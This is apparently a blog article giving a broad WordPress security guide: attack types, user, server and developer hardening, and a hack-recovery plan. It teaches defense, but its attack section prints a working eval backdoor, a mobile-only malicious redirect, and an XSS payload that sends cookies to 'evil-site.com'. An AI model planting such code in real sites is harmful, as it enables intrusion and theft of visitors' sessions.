Back to Articles

WordPress Security 101: Protecting Your Site from Common Threats

April 25, 2025

21 min read

If you’re running a WordPress website, security should be at the top of your priority list. With WordPress powering over 43% of all websites globally, it has become the most targeted platform for hackers and malicious actors. In this comprehensive guide, I’ll walk you through essential WordPress security practices to keep your site safe from common threats, with detailed explanations and practical steps you can implement right away.

Why WordPress Security Matters

The statistics are eye-opening and should serve as a wake-up call for any WordPress site owner:

  • More than 810 million websites use WordPress in 2025, growing by almost 4% this year
  • Every 2 out of 5 sites you visit are built on WordPress
  • About 13,000 WordPress sites are hacked every day (that’s 9 sites every minute!)
  • 44% of successful hacks were due to outdated WordPress sites
  • The average cost of a website breach now exceeds $3,800 for small businesses
  • Sites that get blacklisted by Google due to malware can see traffic drops of up to 95%

Your website is more than just a website – it’s often your business’s online presence, a source of revenue, or a platform for your content. Here’s why security is crucial:

  • Recovery is harder than prevention: Fixing a hacked site is far more challenging and time-consuming than implementing preventive measures. Recovery often requires specialized skills and can take days or even weeks.
  • Security affects your bottom line: Downtime from security breaches directly impacts your business revenue and reputation. Customers lose trust in businesses whose websites have been compromised.
  • Your vulnerability affects others: A compromised site can be used to attack other websites, distribute malware to visitors, or steal user data. This creates potential legal liability issues.
  • SEO damage is long-lasting: Hacked sites often experience significant SEO damage that can take months to recover from, even after the security issues are fixed.

Where Do Vulnerabilities Come From?

While many assume WordPress itself is insecure, that’s a misconception. The WordPress core is very secure, with a dedicated security team and regular updates. The risks usually lie elsewhere:

  • Up to 90% of WordPress vulnerabilities are related to plugins
    • Abandoned plugins (not updated in 2+ years)
    • Poorly coded plugins with security flaws
    • Nulled (pirated) plugins with intentional backdoors
  • About 6% of WordPress vulnerabilities are due to themes
    • Themes with embedded functions rather than plugins
    • Themes from untrustworthy sources
    • Outdated themes that aren’t compatible with newer WordPress versions
  • Only about 4% are due to core software vulnerabilities
    • These are typically patched quickly in minor updates
    • Sites not applying security updates remain vulnerable
  • Server configuration and hosting quality play significant roles in security
    • Shared hosting environments with weak isolation between accounts
    • Outdated PHP versions
    • Weak default server configurations

This means by using reputable plugins, themes, and good security practices, you can reduce the risk of a successful hack by over 94%.

Common WordPress Attack Types and How They Work

Understanding the types of attacks can help you better protect your site. Here’s an in-depth look at each attack type:

1. Backdoors

Hidden access points inserted by hackers to maintain access even after you think you’ve removed the threat.

Example: A common backdoor might look like this when decoded:

<?php
if(isset($_REQUEST['backdoor_cmd'])) {
    eval(base64_decode($_REQUEST['backdoor_cmd']));
}
?>

This allows attackers to execute any PHP code by passing it as a parameter.

2. Brute Force Attacks

Repeated login attempts using different username/password combinations until successful.

Attack patterns:

  • Targeting “admin” username first
  • Using password lists from previous data breaches
  • Distributed attacks from multiple IP addresses
  • Timing attacks during off-hours when admins aren’t watching

3. Malicious Redirects

Code that sends visitors to harmful websites without their knowledge.

Hackers inject redirect code into your site’s files or database. These redirects often activate only under certain conditions (like when users visit from mobile devices or search engines) to avoid detection.

Common injection points:

  • .htaccess files
  • wp-config.php
  • Theme header files
  • JavaScript files
  • Database entries, especially in options or post content

Example redirect code:

<?php
if(!isset($_COOKIE['admin']) && strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile') !== false) {
    header("Location: https://malicious-site.com");
    exit();
}
?>

4. Cross-Site Scripting (XSS)

Attacks that inject malicious client-side scripts into pages viewed by other users.

Attackers exploit forms, comments, or other input fields that don’t properly sanitize user input. When other users view the injected content, the script executes in their browser, potentially stealing cookies, session tokens, or personal information.

Types of XSS:

  • Stored XSS: Permanently stored on target servers (in databases, comments, etc.)
  • Reflected XSS: Reflected off a web server (URLs, error messages, search results)
  • DOM-based XSS: Executes in the Document Object Model rather than HTML

Example attack vector: A comment form that doesn’t sanitize input might allow an attacker to post:

Nice article! <script>document.location='https://evil-site.com/steal.php?cookie='+document.cookie</script>

5. Denial of Service (DoS)

Attacks that overwhelm your site with traffic to make it unavailable.

Attackers flood your server with requests, consuming its resources until it can no longer serve legitimate users. WordPress sites are particularly vulnerable to resource-intensive requests that target uncached pages or expensive database queries.

Common DoS techniques against WordPress:

  • XML-RPC amplification attacks (using the xmlrpc.php file)
  • Login page flooding
  • Search function abuse
  • Complex WP-Query requests that overload the database
  • Exploiting uncached dynamic pages

6. SEO Spam

Injections of hidden links or content to manipulate search rankings or promote scams.

How they work: Attackers insert invisible links, hidden div elements, or keyword-stuffed content into your site. This can be used to improve the SEO of their own sites or to promote counterfeit products, pharmaceuticals, or adult content.

Common characteristics:

  • Text hidden via CSS (color matching background, tiny font size, etc.)
  • Content only visible to search engines but not human visitors
  • Doorway pages with automated redirects
  • Japanese SEO spam (a specific variant targeting Japanese keywords)

Example:

<div style="position:absolute; left:-9999px; top:-9999px;">
    Buy cheap prescription medications online without prescription... [hundreds of spam links]</div>

WordPress Security Best Practices

Let’s dive deeper into security from three perspectives: as a user, a server administrator, and a developer.

A User’s Perspective

Choose Wisely: Plugins, Themes and Hosting

Selecting Secure Plugins:

  • Check the last update date (avoid plugins not updated in the past 6-12 months)
  • Review the number of active installations (more users generally means more testing)
  • Check compatibility with your WordPress version
  • Read reviews focusing on security aspects
  • Examine developer response times to security issues
  • Consider premium plugins for critical functionality (security, e-commerce, etc.)

Red flags to watch for:

  • Plugins with very few installations but extensive permissions
  • Developers who don’t respond to support tickets
  • Plugins that haven’t been tested with recent WordPress versions
  • Excessive negative reviews mentioning security issues

Theme Security:

  • Choose themes from the WordPress repository or reputable marketplaces like ThemeForest
  • Prefer themes that separate functionality into plugins rather than embedding features
  • Check theme update frequency and support responses
  • Use theme scanners like Theme Check to evaluate code quality

Hosting Considerations:

  • WordPress-specific hosting often includes security hardening
  • Look for hosts offering:
    • Web Application Firewalls
    • Automatic backups
    • Malware scanning
    • Account isolation (especially in shared environments)
    • Modern PHP versions (7.4+)
    • Server-level security rules

Keep Everything Updated: Automation is Key

WordPress Core Updates:

  • Enable automatic updates for minor releases by adding to wp-config.php: define('WP_AUTO_UPDATE_CORE', 'minor');
  • For major versions, test in a staging environment first
  • Schedule regular update checks (weekly at minimum)
  • Document your update process for consistency

Plugin and Theme Update Strategy:

  • Create a testing/staging environment that mirrors your production site
  • Establish an update schedule (e.g., every two weeks)
  • Test updates on staging before applying to production
  • Keep detailed logs of updates and any issues encountered
  • Consider using a management tool like MainWP or ManageWP for multiple sites

PHP Version Management:

  • Check your PHP version (should be 7.4+ as of 2025)
  • Plan PHP version upgrades along with WordPress updates
  • Test compatibility before upgrading
  • Keep older PHP versions available for rollback if needed

Comprehensive Backup Strategy

A proper backup strategy follows the 3-2-1 rule:

  • 3 copies of your data
  • 2 different types of media
  • 1 copy off-site

What to Back Up:

  • WordPress database (contains posts, pages, comments, users, and settings)
  • wp-content directory (themes, plugins, and uploads)
  • wp-config.php (contains crucial configuration details)
  • .htaccess file (contains important server rules)
  • Any custom files outside standard WordPress directories

Backup Schedule:

  • High-traffic sites: Daily database backups, weekly file backups
  • Low-traffic sites: Weekly database backups, monthly file backups
  • E-commerce sites: Real-time database backups, daily file backups

Backup Storage:

  • Cloud storage (Dropbox, Google Drive, AWS S3)
  • Local external hard drives (not on the same server)
  • Email backups for small sites

Recommended Backup Plugins:

  • UpdraftPlus: Comprehensive, supports multiple cloud storages
  • BackupBuddy: Premium solution with migration capabilities
  • Jetpack Backup: Real-time backups for critical sites
  • All-in-One WP Migration: Good for smaller sites and easy migrations

Access Security: Beyond Just Passwords

Username Best Practices:

  • Never use “admin” as a username
  • Avoid usernames that match your domain or email
  • Consider using pseudonyms for public-facing author accounts
  • Use different usernames across sites you manage

Password Security:

  • Minimum 16 character passwords
  • Use a password manager to generate and store complex passwords
  • Consider a passphrase approach for memorable but secure passwords
  • Implement password expiration policies for larger organizations

Two-Factor Authentication (2FA):

  • SMS-based verification (basic security)
  • Authenticator apps like Google Authenticator or Authy (better security)
  • Hardware security keys like YubiKey (best security)
  • Email verification as a fallback option

Recommended 2FA Plugins:

  • Two-Factor
  • WP 2FA
  • Wordfence Login Security
  • MiniOrange 2FA

Login Monitoring and Protection:

  • Track all login attempts (successful and failed)
  • Set up alerts for failed login attempts from new IP addresses
  • Implement progressive delays after failed logins
  • Consider CAPTCHA for login pages
  • Limit login attempts to prevent brute force attacks

Role-Based Access Control: The Principle of Least Privilege

WordPress has six built-in user roles with increasing levels of access:

Subscriber:

  • Can read posts and pages
  • Can manage their own profile
  • Cannot create or modify any content
  • Ideal for: members-only content sites, customers who need account access

Contributor:

  • Can write and manage their own posts
  • Cannot publish posts (only submit for review)
  • Cannot upload media files
  • Ideal for: occasional content contributors, guest writers

Author:

  • Can publish and manage their own posts
  • Can upload media files
  • Cannot create pages or modify other users’ content
  • Ideal for: regular content creators who don’t need site management access

Editor:

  • Can publish and manage all posts and pages
  • Can moderate comments
  • Can manage categories and links
  • Cannot modify site settings or install plugins/themes
  • Ideal for: content managers, chief editors

Administrator:

  • Complete control over the site
  • Can add/remove users and change roles
  • Can install plugins and themes
  • Can modify all settings
  • Ideal for: site owners, webmasters (limit these accounts!)

Super Administrator: (Multisite only)

  • All Administrator capabilities
  • Can manage network settings and sites
  • Can manage users across the entire network
  • Ideal for: network administrators in multisite installations

Custom Roles and Enhanced Security:

  • Consider custom roles with plugins like User Role Editor
  • Create specific roles for specific functions (e.g., “Social Media Manager”)
  • Audit user permissions regularly
  • Remove unnecessary capabilities from roles
  • Document which roles have what access

Security Plugins: Features to Look For

Essential Security Plugin Features:

Firewall Protection:

  • Web Application Firewall (WAF) capabilities
  • IP blocking and whitelisting
  • Country blocking for targeted attacks
  • Rate limiting for aggressive crawlers or bots

Login Security:

  • Limit login attempts
  • Two-factor authentication
  • CAPTCHA or reCAPTCHA integration
  • Custom login URL
  • Login notifications

Malware Scanning:

  • File integrity monitoring
  • Comparison against WordPress repository files
  • Malicious code detection
  • Backdoor identification
  • Malware removal tools

Security Hardening:

  • Disable file editing in admin
  • Protect sensitive files (.htaccess, wp-config.php)
  • Block PHP execution in untrusted directories
  • Disable directory listing
  • Remove WordPress version information

Activity Monitoring:

  • Real-time traffic monitoring
  • User activity logs
  • File change detection
  • Failed login tracking
  • 404 error logging (potential scanning activity)

Popular Security Plugins and Their Strengths:

Wordfence Security:

  • Comprehensive endpoint firewall
  • Live traffic monitoring
  • Malware scanner
  • Blocking at the server level
  • Country blocking
  • Advanced manual blocking patterns

Sucuri Security:

  • Website firewall (premium)
  • File integrity monitoring
  • Security activity auditing
  • Blacklist monitoring
  • Post-hack security actions

All-In-One WP Security & Firewall:

  • User account security
  • Login lockdown
  • Force logout features
  • Database security
  • File system security
  • Blacklist functionality

iThemes Security (formerly Better WP Security):

  • 30+ ways to secure WordPress
  • Two-factor authentication
  • Strong password enforcement
  • File change detection
  • Away mode (locks down admin during specified times)

A Server Administrator’s Perspective

If you have server-level access, these measures add significant protection:

HTTPS and Secure Connections: The Foundation of Site Security

SSL/TLS Implementation:

Securing File Transfers:

  • Disable FTP completely (unencrypted)
  • Use SFTP or FTPS exclusively
  • Implement key-based authentication when possible
  • Restrict SFTP users to their home directories
  • Set appropriate timeout limits

Proper File and Directory Permissions:

TypeRecommended PermissionOctalExplanation
DirectoriesUser: read/write/execute<br>Group: read/execute<br>World: read/execute755Allows directory listing and access, but only owner can modify
FilesUser: read/write<br>Group: read<br>World: read644Files can be read by anyone but only modified by owner
wp-config.phpUser: read/write<br>Group: no access<br>World: no access600Critical configuration file only accessible by owner
.htaccessUser: read/write<br>Group: read<br>World: read644Server needs to read this file, but only owner should modify

Example commands for setting permissions:

# Set directory permissions
find /path/to/wordpress -type d -exec chmod 755 {} \;

# Set file permissions
find /path/to/wordpress -type f -exec chmod 644 {} \;

# Set wp-config.php permissions
chmod 600 /path/to/wordpress/wp-config.php

PHP Security Hardening

PHP Configuration Optimization:

  • Disable dangerous functions: disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
  • Set appropriate memory limits: memory_limit = 256M
  • Limit execution time for scripts: max_execution_time = 30
  • Restrict file uploads: upload_max_filesize = 2Mpost_max_size = 8M
  • Enable open_basedir restriction: open_basedir = /path/to/wordpress:/tmp

Blocking PHP Execution in Vulnerable Directories:

Create .htaccess files in sensitive directories:

# For Apache
<FilesMatch "\.(?i:php|phtml|php3|php4|php5|php6|php7|phps)$">
    Order Allow,Deny
    Deny from all
</FilesMatch>

# For Nginx (in server block)
location ~ ^/wp-content/uploads/.*\.(?:php[1-7]?|pht|phtml|phps)$ {
    deny all;
}

Disabling WordPress File Editor:

Add to wp-config.php:

define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true); // Prevents plugin/theme installation too

XML-RPC Considerations:

XML-RPC can be used for brute force attacks. If you don’t use Jetpack or mobile apps, disable it with .htaccess:

# Block xmlrpc.php
<Files xmlrpc.php>
    Order Deny,Allow
    Deny from all
</Files>

Server Configuration Hardening

Web Server Hardening (Apache):

# Disable directory browsing
Options -Indexes

# Protect against script injections
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]

# Protect wp-config.php
<files wp-config.php>
    Order Allow,Deny
    Deny from all
</files>

# Protect .htaccess
<files ~ "^\.ht">
    Order Allow,Deny
    Deny from all
</files>

Web Server Hardening (Nginx):

# Disable directory browsing
autoindex off;

# Hide nginx version
server_tokens off;

# Protect sensitive files
location ~ /\.ht {
    deny all;
}

location = /wp-config.php {
    deny all;
}

# Add security headers
add_header X-Content-Type-Options "nosniff";
add_header X-XSS-Protection "1; mode=block";
add_header X-Frame-Options "SAMEORIGIN";
add_header Content-Security-Policy "default-src 'self'";
add_header Referrer-Policy "strict-origin-when-cross-origin";

Site Isolation Techniques:

For multiple WordPress sites on the same server:

  • Use separate database users for each site
  • Implement PHP-FPM with different pools
  • Consider Docker containers for complete isolation
  • Use separate virtual hosts with restricted permissions
  • Implement filesystem isolation using chroot environments

A Developer’s Perspective

For developers creating themes, plugins, or customizing WordPress, security must be a cornerstone of your development process.

The WordPress Security Coding Mantra

Sanitize Early:

  • Clean and normalize data as soon as it’s received
  • Remove or encode potentially dangerous characters
  • Ensure data meets expected formats
  • Convert types appropriately (strings to integers, etc.)

Escape Late:

  • Escape data immediately before output
  • Use context-appropriate escaping functions
  • Never trust data even if previously sanitized
  • Apply different escaping based on output context (HTML, URLs, attributes)

Always Validate:

  • Check that data meets expected parameters
  • Verify data types match expectations
  • Implement boundary checking for numerical values
  • Confirm data falls within acceptable ranges or patterns

Example of the Full Pattern:

// Sanitize early - when receiving data
function my_plugin_save_options() {
    // Verify nonce first
    if (!isset($_POST['my_plugin_nonce']) || !wp_verify_nonce($_POST['my_plugin_nonce'], 'my_plugin_save')) {
        wp_die('Security check failed');
    }
    
    // Sanitize each input appropriately
    $options = array(
        'title'    => sanitize_text_field($_POST['title']),
        'email'    => sanitize_email($_POST['email']),
        'url'      => esc_url_raw($_POST['url']),
        'number'   => intval($_POST['number']),
        'textarea' => sanitize_textarea_field($_POST['textarea']),
    );
    
    // Validate the data
    $errors = array();
    
    if (empty($options['title'])) {
        $errors[] = 'Title is required';
    }
    
    if (!is_email($options['email'])) {
        $errors[] = 'Email is invalid';
    }
    
    if ($options['number'] < 1 || $options['number'] > 100) {
        $errors[] = 'Number must be between 1 and 100';
    }
    
    if (!empty($errors)) {
        // Handle errors
        return $errors;
    }
    
    // Save sanitized, validated data
    update_option('my_plugin_options', $options);
    return true;
}

// Escape late - when outputting data
function my_plugin_display_options() {
    $options = get_option('my_plugin_options', array());
    
    // Escape each output appropriately
    ?>
    <div class="wrap">
        <h1><?php echo esc_html($options['title']); ?></h1>
        <p>Contact: <a href="mailto:<?php echo esc_attr($options['email']); ?>"><?php echo esc_html($options['email']); ?></a></p>
        <p>Website: <a href="<?php echo esc_url($options['url']); ?>"><?php echo esc_html($options['url']); ?></a></p>
        <p>Number: <?php echo esc_html($options['number']); ?></p>
        <div class="content"><?php echo wp_kses_post($options['textarea']); ?></div>
    </div>
    <?php
}

WordPress Security Functions Reference

WordPress provides a rich set of functions specifically designed for security purposes:

Input Sanitization Functions:

FunctionPurposeUsage Example
sanitize_text_field()Sanitizes a single-line text input$clean_title = sanitize_text_field($_POST['title']);
sanitize_textarea_field()Sanitizes multi-line text$clean_content = sanitize_textarea_field($_POST['content']);
sanitize_email()Sanitizes email addresses$clean_email = sanitize_email($_POST['email']);
sanitize_title()Sanitizes a string for use as a slug$clean_slug = sanitize_title($_POST['category_name']);
sanitize_key()Sanitizes a key/ID string$clean_key = sanitize_key($_POST['unique_id']);
sanitize_file_name()Sanitizes a filename$clean_filename = sanitize_file_name($_FILES['upload']['name']);
sanitize_user()Sanitizes username$clean_username = sanitize_user($_POST['username']);
wp_kses()Filters HTML with specified allowed tags$filtered_html = wp_kses($html, $allowed_html);
wp_kses_post()Filters with tags allowed in post content$filtered_post = wp_kses_post($_POST['content']);

Output Escaping Functions:

FunctionPurposeUsage Example
esc_html()Escapes for HTML contentecho esc_html($string);
esc_attr()Escapes for HTML attributes<div title="<?php echo esc_attr($title); ?>">
esc_url()Escapes and validates URLs<a href="<?php echo esc_url($url); ?>">
esc_js()Escapes for use in JavaScript<script>var name = "<?php echo esc_js($name); ?>";</script>
esc_textarea()Escapes for use in textarea<textarea><?php echo esc_textarea($content); ?></textarea>

Validation Functions:

FunctionPurposeUsage Example
is_email()Checks if string is valid emailif (is_email($email)) { /* valid */ }
wp_verify_nonce()Verifies security nonceif (wp_verify_nonce($_POST['nonce'], 'action')) { /* valid */ }
current_user_can()Checks user permissionsif (current_user_can('edit_posts')) { /* authorized */ }
validate_file()Validates file pathif (validate_file($file) === 0) { /* valid */ }

What To Do If Your Site Gets Hacked: A Detailed Recovery Plan

Despite best efforts, breaches can still happen. Here’s a comprehensive recovery guide:

1. Put WordPress in Maintenance Mode

Create a .maintenance file in your WordPress root directory:

<?php
$upgrading = time();
?>

Or use a plugin like WP Maintenance Mode for a more user-friendly experience.

2. Reset All WordPress Passwords

First change the admin password:

  1. Direct database method (if admin access is compromised): UPDATE wp_users SET user_pass = MD5('new_strong_password') WHERE user_login = 'admin_username';
  2. Use the password reset function in WordPress

Then:

  • Force all users to reset passwords
  • Invalidate all existing sessions with: DELETE FROM wp_usermeta WHERE meta_key LIKE '%_session_%';

3. Remove Suspicious Admin Users

Check for unauthorized admin accounts:

SELECT ID, user_login, user_email 
FROM wp_users 
WHERE ID IN (
    SELECT user_id 
    FROM wp_usermeta 
    WHERE meta_key = 'wp_capabilities' 
    AND meta_value LIKE '%administrator%'
);

Delete suspicious users through the admin interface or database:

DELETE FROM wp_users WHERE ID = [suspicious_user_id];
DELETE FROM wp_usermeta WHERE user_id = [suspicious_user_id];

4. Update WordPress Core, Themes, and Plugins

  • Update WordPress to the latest version
  • Update all themes (including inactive ones)
  • Update all plugins (deactivate and delete unused ones)
  • Consider temporarily switching to a default WordPress theme during cleaning

5. Reinstall WordPress Core

Replace core files with fresh copies:

  1. Download a fresh WordPress installation
  2. Delete all core files except wp-config.php and wp-content directory
  3. Upload fresh core files
  4. Visit yoursite.com/wp-admin to run the database update if needed

6. Search for Malware and File Modifications

Common infection indicators:

  • Recently modified files (particularly .php files)
  • Files containing suspicious code like eval(, base64_decode(, gzinflate(
  • Files with unusual permissions
  • Hidden files starting with ‘.’
  • Unexpected files in wp-includes or wp-admin

Manual search commands:

# Find recently modified files
find /path/to/wordpress -type f -mtime -7 -name "*.php"

# Find files containing suspicious functions
grep -r "eval(" /path/to/wordpress --include="*.php"
grep -r "base64_decode" /path/to/wordpress --include="*.php"

# Find files with unusual permissions
find /path/to/wordpress -type f -perm -0777

Common malware locations:

  • wp-content/uploads directory (especially non-media files)
  • Theme files (header.php, functions.php, footer.php)
  • Plugin files
  • WordPress root directory (index.php, wp-config.php)
  • .htaccess files

7. Disable PHP Execution in Vulnerable Directories

Create .htaccess files in the uploads and cache directories:

For Apache:

# Disable PHP execution
<FilesMatch "\.(?i:php|phtml|php3|php4|php5|php6|php7|phps)$">
    Order Allow,Deny
    Deny from all
</FilesMatch>
# Allow specific PHP files if needed
<Files specific-allowed-file.php>
    Order Allow,Deny
    Allow from all
</Files>

For Nginx:

location ~ ^/wp-content/uploads/.*\.php$ {
    deny all;
}

8. Clean the WordPress Database

Check for spam posts/pages:

SELECT ID, post_title, post_date 
FROM wp_posts 
WHERE post_type IN ('post', 'page') 
AND post_status = 'publish'
ORDER BY post_date DESC;

Look for suspicious content in posts:

SELECT ID, post_title 
FROM wp_posts 
WHERE post_content LIKE '%eval%' 
OR post_content LIKE '%base64_decode%' 
OR post_content LIKE '%javascript:void%';

Check wp_options for malicious entries:

SELECT * FROM wp_options 
WHERE option_name LIKE '%cmd%' 
OR option_name LIKE '%exec%'
OR option_value LIKE '%eval(%'
OR option_value LIKE '%base64_decode(%';

Remove known spam user agents from comments:

DELETE FROM wp_comments 
WHERE comment_author_url LIKE '%poker%' 
OR comment_author_url LIKE '%casino%'
OR comment_author_url LIKE '%pharma%';

9. Contact Your Hosting Provider

Provide your hosting provider with:

  • Timeline of the hack (when discovered, what changed)
  • Actions you’ve already taken
  • Access logs if you have them
  • Support for server-level scans and cleanup

Some hosting companies offer specialized malware removal services, which may be worth the investment for serious infections.

Final Thoughts: Building a WordPress Security Mindset

WordPress security isn’t just about implementing technical solutions—it’s about developing a security-focused mindset that influences all aspects of your WordPress management. Here are some guiding principles I’ve developed over years of working with WordPress security:

A Personal Note

In my years working with WordPress sites of all sizes, I’ve seen firsthand how devastating security breaches can be, especially for small businesses. What troubles me most is how often these incidents could have been prevented with relatively simple measures.

The WordPress ecosystem gives us powerful tools to build amazing websites, but with that power comes responsibility. Every plugin we install, every theme we activate, and every setting we configure affects our security posture.

I encourage you to make security a fundamental part of your WordPress practice, not an afterthought. The techniques and tools outlined in this guide provide a solid foundation, but the most important factor is developing the habit of thinking about security in everything you do with WordPress.

Remember: Recovery is always more expensive, more time-consuming, and more stressful than prevention. Invest in security now to protect your digital assets for the long term.

Useful Resources for Ongoing WordPress Security

To help you stay informed and continue building your WordPress security knowledge, here are some valuable resources:

Official WordPress Resources

WordPress Security Blogs and News

WordPress Development Standards

In Conclusion: Your WordPress Security Journey

Security is not a destination but a journey. As WordPress evolves, so do security threats and defense mechanisms. The most secure WordPress sites are those that implement continuous improvement in their security practices.

I’d love to hear about your own WordPress security experiences, challenges, and solutions. Drop a comment below or reach out to me directly with your questions or insights!


Want to connect? Find me at @iambherulal on X/Twitter, WordPress.org, and LinkedIn, or visit 100xwpdev.com for more WordPress tips and tutorials.

Looking to work together? I'd love to hear from you!

Feel free to drop me a message, whether you want to discuss a project, ask a question, or just say hi. I'm here and ready to connect!